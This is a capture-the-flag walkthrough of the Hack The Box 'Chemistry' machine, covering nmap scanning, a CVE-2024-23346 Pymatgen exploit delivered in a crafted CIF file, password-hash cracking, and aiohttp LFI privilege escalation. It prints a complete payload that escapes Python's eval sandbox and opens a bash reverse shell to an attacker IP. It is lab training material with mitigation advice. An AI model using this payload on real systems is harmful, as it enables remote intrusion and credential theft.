Introduction to Chemistry:

In this writeup, we will explore the “Chemistry” machine from Hack The Box, categorized as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective:
The goal of this walkthrough is to complete the “Chemistry” machine from Hack The Box by achieving the following objectives:
User Flag:
Exploiting CVE-2024-23346: Remote Code Execution via Malicious CIF File
This process demonstrates how a vulnerability in Pymatgen (CVE-2024-23346) can be exploited through a Crystallographic Information File (CIF) to achieve Remote Code Execution (RCE) and gain unauthorized system access. The attack begins by injecting malicious code into a CIF file’s _space_group_magn.transform_BNS_Pp_abc
field. Once the modified file is uploaded to the dashboard, nothing happens initially. Further investigation reveals that execution is triggered by clicking the View button. This interaction successfully executes the payload, establishing a reverse shell connection to the attacker’s system.
With remote access secured, SQLite3 is used to inspect the database, revealing multiple user credentials and password hashes. After successfully cracking the hash, the plaintext password is obtained. Finally, using the command “cat user.txt”, the user flag is retrieved, marking the successful completion of the exploitation process.
Root Flag:
Exploiting aiohttp for Privilege Escalation
After discovering a service running on port 8080, an attempt was made to gather information about the server and access the assets
directory, which returned a 403 Forbidden status. Further analysis revealed that the server was running aiohttp/3.9.1, prompting a search for known exploits.
Leveraging a Local File Inclusion (LFI) attack on the assets
directory, it was possible to obtain the SSH key. With this access, further privilege escalation allowed for reading the root flag from the root.txt
file.
Enumerating the Chemistry Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
nmap -sC -sV -oN nmap_initial.txt 10.10.11.38
Nmap Output:
┌─[dark@parrot]─[~/Documents/htb/chemistry]
└──╼ $ nmap -sC -sV -oA initial 10.10.11.38
# Nmap 7.94SVN scan initiated Sat Mar 1 21:36:16 2025 as: nmap -sC -sV -oA initial 10.10.11.38
Nmap scan report for 10.10.11.38
Host is up (0.35s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
| 256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_ 256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.3 Python/3.9.5
| Date: Sun, 02 Mar 2025 02:50:05 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 719
| Vary: Cookie
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Chemistry - Home</title>
| <link rel="stylesheet" href="/static/styles.css">
| </head>
| <body>
| <div class="container">
| class="title">Chemistry CIF Analyzer</h1>
| <p>Welcome to the Chemistry CIF Analyzer. This tool allows you to upload a CIF (Crystallographic Information File) and analyze the structural data contained within.</p>
| <div class="buttons">
| <center><a href="/login" class="btn">Login</a>
| href="/register" class="btn">Register</a></center>
| </div>
| </div>
| </body>
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
9000/tcp open tcpwrapped
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.94SVN%I=7%D=3/1%Time=67C3C758%P=x86_64-pc-linux-gnu%r(
SF:GetRequest,38A,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.0\.3\x
SF:20Python/3\.9\.5\r\nDate:\x20Sun,\x2002\x20Mar\x202025\x2002:50:05\x20G
SF:MT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x
SF:20719\r\nVary:\x20Cookie\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20ht
SF:ml>\n<html\x20lang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"
SF:UTF-8\">\n\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width
SF:=device-width,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>Chemist
SF:ry\x20-\x20Home</title>\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x2
SF:0href=\"/static/styles\.css\">\n</head>\n<body>\n\x20\x20\x20\x20\n\x20
SF:\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\n\x20\x20\x20\x20<div\x20class=\
SF:"container\">\n\x20\x20\x20\x20\x20\x20\x20\x20<h1\x20class=\"title\">C
SF:hemistry\x20CIF\x20Analyzer</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>We
SF:lcome\x20to\x20the\x20Chemistry\x20CIF\x20Analyzer\.\x20This\x20tool\x2
SF:0allows\x20you\x20to\x20upload\x20a\x20CIF\x20\(Crystallographic\x20Inf
SF:ormation\x20File\)\x20and\x20analyze\x20the\x20structural\x20data\x20co
SF:ntained\x20within\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=
SF:\"buttons\">\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<center><
SF:a\x20href=\"/login\"\x20class=\"btn\">Login</a>\n\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20<a\x20href=\"/register\"\x20class=\"btn\">Reg
SF:ister</a></center>\n\x20\x20\x20\x20\x20\x20\x20\x20</div>\n\x20\x20\x2
SF:0\x20</div>\n</body>\n<")%r(RTSPRequest,1F4,"<!DOCTYPE\x20HTML\x20PUBLI
SF:C\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n\x20\x20\x20
SF:\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-equiv=\"Conte
SF:nt-Type\"\x20content=\"text/html;charset=utf-8\">\n\x20\x20\x20\x20\x20
SF:\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20</head>\n
SF:\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20re
SF:sponse</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</
SF:p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20ve
SF:rsion\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Erro
SF:r\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-\x20Bad\x20req
SF:uest\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x20\x20\x20</
SF:body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Mar 1 21:51:49 2025 -- 1 IP address (1 host up) scanned in 933.16 seconds
Analysis:
- Port 22 (SSH): OpenSSH 8.2p1 for secure remote access.
- Port 5000 (HTTP): Werkzeug 3.0.3 (Python) web app hosting “Chemistry CIF Analyzer.”
- Port 9000 (Unknown): TCP-wrapped service, possibly restricted or proxied.
Exploitation on the Chemistry machine
Web Application Exploration:

The website has a simple design with only login and register functions.

Let’s create a new account as demonstrated above.

It will automatically redirect us to the Dashboard after registering a new account, where an example is available.

The instance in the CIF closely resembles the example shown above.
CIF explanation
The Crystallographic Information File (CIF) is a standardized electronic format used to store and share data related to crystallographic structure determinations. It contains numerical values and descriptive text, formatted as ASCII character strings, to represent key structural details such as atomic positions, unit cell parameters, and symmetry information. The CIF format is based on a simplified version of the Self-defining Text Archive and Retrieval (STAR) File syntax, designed to be both flexible and extensible for data storage, transmission, and publication.
Since its adoption in 1990, the International Union of Crystallography (IUCr) has recommended CIF as the preferred format for crystallographic data exchange. A detailed specification, including its syntax rules and conventions, is available through the International Tables for Crystallography and the IUCr Online platform.

Let’s conduct some research then.

Let’s launch our shell.
Exploitation with CIF code

Therefore, let’s inject our malicious code into the CIF file.
the code is _space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.xx.xx/<port> 0>&1\'");0,0,0'
The provided code snippet demonstrates a Remote Code Execution (RCE) exploit embedded within a Crystallographic Information File (CIF). This exploit takes advantage of a vulnerability in Pymatgen (CVE-2024-23346), where an unsafe eval()
function processes transformation strings without proper validation. By manipulating Python’s internal method resolution order (__mro__
), the payload circumvents standard execution restrictions, ultimately invoking os.system
to establish a reverse shell. If a vulnerable system processes this malicious CIF file, an attacker could gain remote access, posing a significant threat to research institutions and computational environments that handle crystallographic data.
To address this security risk, users should update Pymatgen to version 2024.2.20 or later, which replaces eval()
with a safer parsing method. Running crystallographic computations in sandboxed environments and ensuring strict input validation can help mitigate potential threats. Additionally, researchers and developers should review any scripts or workflows that handle CIF files to eliminate reliance on inherently dangerous functions like eval()
, thereby strengthening the overall security of their computational processes.

After fully modifying the file, it must be uploaded to the dashboard.

Nothing happens at first, so we investigate further and realize that execution requires an additional step. After some testing, we discovered that clicking the View button is necessary for the process to work.

Successfully, we have established a reverse shell connection to our system.




Let’s run SQLite3 to inspect the database.

There are numerous user entries along with password hashes.

The file contains hashes that can be cracked.

Let’s run Hashcat to crack the password.

The Hashcat output will appear similar to the example above.

Finally, the password was successfully retrieved from the hash using CrackStation instead of Hashcat.



We can view the user flag by executing the command “cat user.txt”.
Escalate to Root Privileges Access
Privilege Escalation:

Sadly, the user rosa may not run sudo on the machine itself


We also did not detect any malicious or unusual processes.

However, it is uncommon for anyone to have port 8080 open on this machine.

Let’s set up port forwarding using port 8080.

Upon discovering a service running on port 8080, I proceed to gather information about the server and its assets
directory. During this process, I identify that the server is running aiohttp/3.9.1 and begin searching for known exploits related to this version.


Attempt to access the assets
directory, but the request is met with a 403 Forbidden status.

We successfully executed the LFI attack on the assets
directory.

The LFI attack on the assets
directory was successfully executed, leading to the retrieval of the SSH key.


We can view the root flag by opening the root.txt
file.